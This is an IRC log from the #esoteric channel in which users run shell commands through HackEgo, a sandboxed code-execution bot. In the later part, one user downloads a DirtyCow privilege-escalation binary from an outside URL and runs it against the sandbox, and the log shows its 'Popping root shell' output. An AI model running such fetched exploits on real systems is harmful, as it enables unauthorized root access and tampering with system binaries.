:moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ls -ls . < 1492456003 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :total 328 \ 4 -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ 12 drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ 0 -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ 4 drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ 4 drwxr-xr-x 2 5000 0 4096 Mar 17 20:16 esobible \ 4 drwxr-xr-x 3 5000 0 4096 Oct 28 18:37 etc \ 4 drwxr-xr- < 1492456089 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :why ls -la is multiline? -.- < 1492456124 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, s/multiline/uh i dunno actually what the word that belongs here is/ < 1492456138 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :special chars? < 1492456144 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :``ls -la < 1492456145 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `ls: not found < 1492456155 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls -la < 1492456156 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:08 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:08 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4 < 1492456163 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :basically HackEgo takes it all as one command and a giant, single arg. < 1492456187 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :moonythedwarf: unless you use 11 < 1492456190 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :moonythedwarf: unless you use `` < 1492456192 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`exec 'ls -la' < 1492456192 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: exec: not found < 1492456198 0 :Nistur!nistur@gateway/shell/blinkenshell.org/x-ltjscbzevcfecait JOIN :#esoteric < 1492456203 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :`` ls -la . < 1492456204 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4 < 1492456210 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :`` ls -la .. < 1492456211 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:09 etc \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:09 home \ d < 1492456217 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :`` ls -la ../.. < 1492456218 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:09 etc \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:09 home \ d < 1492456260 0 :Nistur!nistur@gateway/shell/blinkenshell.org/x-ltjscbzevcfecait PRIVMSG #esoteric :g'mornin' < 1492456297 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :and three backticks is even better than two < 1492456315 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :wob_jonas, is four backticks better than three? < 1492456351 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :moonythedwarf: like most things, it's best at around pi < 1492456365 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :then it starts to fall < 1492456367 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` echo $0 < 1492456368 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/` < 1492456598 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` file /hackenv/bin/` < 1492456599 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file < 1492456604 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` file /hackenv/bin/\` < 1492456605 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/`: Bourne-Again shell script, ASCII text executable < 1492456612 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` cat /hackenv/bin/\` < 1492456613 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooooooooodl < 1492456677 0 :Nistur!nistur@gateway/shell/blinkenshell.org/x-ltjscbzevcfecait PRIVMSG #esoteric :wob_jonas: is 3 the correct number of yaks to shave then also? < 1492456685 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` cat "x" > /hackenv/bin/\` < 1492456687 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :cat: x: No such file or directory < 1492456699 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ls < 1492456700 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom < 1492456721 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls|cat -> /hackenv/bin/\` < 1492456722 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success < 1492456737 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` cat /hackenv/bin/\` < 1492456737 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success < 1492456749 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ls < 1492456750 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom < 1492456760 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` cat /hackenv/bin/\` < 1492456761 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success < 1492456769 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls < 1492456769 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success < 1492456778 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :moonythedwarf: did it < 1492456792 0 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1492456795 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :? < 1492456800 0 :callforjudgement!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1492456806 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`/bin/ls < 1492456807 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom < 1492456813 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :double tick does not work < 1492456815 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :i'll just revert back a little. < 1492456815 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls < 1492456816 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success < 1492456817 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` < 1492456818 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success < 1492456825 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, thats not hard to do lol < 1492456843 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :yep, but I screwed up just a tiny bit < 1492456877 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`rv < 1492456877 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: rv: not found < 1492456881 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`revert < 1492456882 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Done. < 1492456884 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` < 1492456885 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492456894 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ls < 1492456894 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom < 1492456901 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, magical revert is magical < 1492456915 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`` echo $BASH_VERSION < 1492456916 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :4.3.30(1)-release < 1492456976 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :dirty cow? < 1492456990 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, go ahead and try. *shrug* < 1492457056 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` cat /hackenv/bin/\` < 1492457057 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnoooooodl < 1492457116 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :``` apt-get moo 2>/dev/null # cow < 1492457117 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ (__) \ (oo) \ /------\/ \ / | || \ * /\---/\ \ ~~ ~~ \ ..."Have you mooed today?"... < 1492457141 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` echo "this is only a test" > testfile < 1492457143 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492457148 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` cat testfile < 1492457149 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :this is only a test < 1492457399 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` cat /etc/passwd < 1492457399 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :cat: /etc/passwd: No such file or directory < 1492457408 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls /etc < 1492457409 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :alternatives \ java-6-openjdk < 1492457852 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net QUIT :Ping timeout: 255 seconds < 1492458181 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :https://gfycat.com/AstonishingFrequentDiscus <<< Beseige, the land of killer mathbooks < 1492458200 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` whereis setuid < 1492458202 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :setuid: /usr/share/man/man2/setuid.2.gz < 1492458213 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :it's neatly castrated < 1492458248 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`quote < 1492458248 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`wisdom < 1492458248 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`recipe < 1492458248 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :22) PA ET ANNET UNIVERSET DER DE ENESTE PERSONEN OERJAN: sa jeg kan bare konkludere med at det er feil, eller er verden helt bonkers < 1492458249 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :h heat for about 7 minutes. In a small saucepan, \ covered, for 6 to 7 minutes, add corn in the oil. Add the lemon juice \ and water in a double boiler or skillet. Spoon in the flour mixture \ to a boil. Drain the fruit. PLACE STEW ONCOAT. WITH COOKIES \ WITH THE LOW THE PAN. PER SERVING: 77g; PRO: 4g; MC \ : From oven the chilies. \ \ From < 1492458249 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :links//links is one of the very few HTML renderers that doesn't try to store a full document tree with heavyweight objects for each node just in case javascript wants to modify it later, so it's the only engine that can render those HTMLs that are automatically converted from a PDF and put each letter in a separate element. < 1492458253 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`random-card < 1492458253 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`starwars < 1492458253 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Rey < 1492458254 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Angelic Captain \ 3RW \ Creature -- Angel Ally \ 4/3 \ Flying \ Whenever Angelic Captain attacks, it gets +1/+1 until end of turn for each other attacking Ally. \ BFZ-R < 1492458262 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`coins < 1492458265 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​09symcoin 02sonicoin 06jotcoin 13alfoncoin 04mingycoin 07arrocoin 08ecchilosophcoin 09arrcoin 02fhatefullycoin 06envercoin 13divincoin 04snardcoin 07eldocoin 08surfacoin 09duncoin 02rcecoin 06harrelacoin 13rasscoin 04encycoin 07braicoin < 1492458302 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :nah, I think that's my wisdom. retry < 1492458302 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`wisdom < 1492458303 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :elrond//Elrond is a rogue program originally created to police the Matrix, eventually gaining increased individuality and becoming a threat to the Machines themselves. < 1492458305 0 :`^_^v!~nycs@gw.hq.meetup.com QUIT :Quit: Leaving < 1492458316 0 :`^_^v!~nycs@gw.hq.meetup.com JOIN :#esoteric < 1492458321 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :but... Thats accurate. FIX NAO < 1492458330 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`wisdom wisdom < 1492458331 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :the five wisdoms//The first of the five wisdoms is that there is only one wisdom. < 1492458337 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`? wisdom < 1492458338 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø? < 1492458372 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` file /usr/bin/passwd < 1492458372 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/usr/bin/passwd: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fbb01025248f78c897f7dd01f5c1b7bdff5ee6d2, stripped < 1492458381 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls -la /usr/bin/passwd < 1492458382 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​-rwsr-xr-x 1 0 0 54192 Feb 24 08:09 /usr/bin/passwd < 1492458408 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` uname -a < 1492458408 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux < 1492458449 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`help < 1492458449 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch [] " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1492458471 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`wisdom < 1492458471 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :`quote < 1492458472 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :229) Phantom_Hoover: I have just one tvtropes page open in elinks, but my tvtropes.txt "queue" has 38 tvtropes.org URLs waiting for processing. < 1492458472 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :axiom of choice//The axiom of choice is equivalent to the Free Will Principle and Zeno's Lemma. < 1492458540 0 :hppavilion[0]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org QUIT :Ping timeout: 240 seconds < 1492458565 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`fetch of https://students.mimuw.edu.pl/~wj359634/files/dirtycow.out < 1492458569 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :2017-04-17 18:48:58 URL:https://students.mimuw.edu.pl/~wj359634/files/dirtycow.out [19843/19843] -> "of" [1] < 1492458575 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`file of < 1492458575 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :of: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.0.0, BuildID[sha1]=fafa414f587cde321a646d38d3a818c127b89c02, not stripped < 1492458578 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`chmod +x of < 1492458579 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :chmod: missing operand after ‘+x of’ \ Try 'chmod --help' for more information. < 1492458584 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` chmod +x of < 1492458586 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492458607 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :smells... Dirty. < 1492458609 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`./of < 1492458622 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`ls < 1492458622 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, what does ./of do? < 1492458623 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ of \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ testfile \ tmflry \ tmp \ wisdom < 1492458639 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.3$ < 1492458642 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :moonythedwarf: it's dirty cow, supposed to elevate rights on unpatched kernel < 1492458658 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :mk < 1492458677 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` echo "whoami" < 1492458677 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :whoami < 1492458685 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` echo "whoami" | ./of < 1492458688 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :hmm, enjoy you ioctl. Also, its not persistant. < 1492458690 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :whoami: cannot find name for user ID 5000 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped < 1492458718 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :quinor: put commands in ./bin unless there's a good reason not to < 1492458730 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :^ < 1492458733 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :we like to keep the hackenv dir clear < 1492458735 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :I wanna wipe it out when I'm done < 1492458745 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :it's just a test < 1492458751 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :shall I make private dir? < 1492458755 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :go ahead. < 1492458765 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :just remember the shell is not persistant, so your cd wont stick < 1492458779 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` mkdir private < 1492458780 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492458792 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` mv private quinor < 1492458793 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492458797 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` mv of quinor/ < 1492458799 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492458802 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls quinor < 1492458803 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :of < 1492458868 0 :hppavilion[1]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org JOIN :#esoteric < 1492458913 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`pwd < 1492458913 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv < 1492458915 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :helloppavilion[1] < 1492458942 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, btw, hackego has a compiler. it could compile what you need if its not too big < 1492458945 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`gcc < 1492458946 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :gcc: fatal error: no input files \ compilation terminated. < 1492458950 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`make < 1492458951 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :make: *** No targets specified and no makefile found. Stop. < 1492458966 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :moonythedwarf: easier to paste it in < 1492458972 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` echo "touch /hackenv/dupa" | ./quinor/of < 1492458973 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :eh true < 1492458979 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped < 1492458986 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` file dupa < 1492458987 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :dupa: empty < 1492458995 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls -la dupa < 1492458995 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​-rw-r--r-- 1 5000 0 0 Apr 17 18:55 dupa < 1492459041 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :dont think it worked lol < 1492459048 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` rm dupa < 1492459050 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492459060 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :well you're obviously right < 1492459067 0 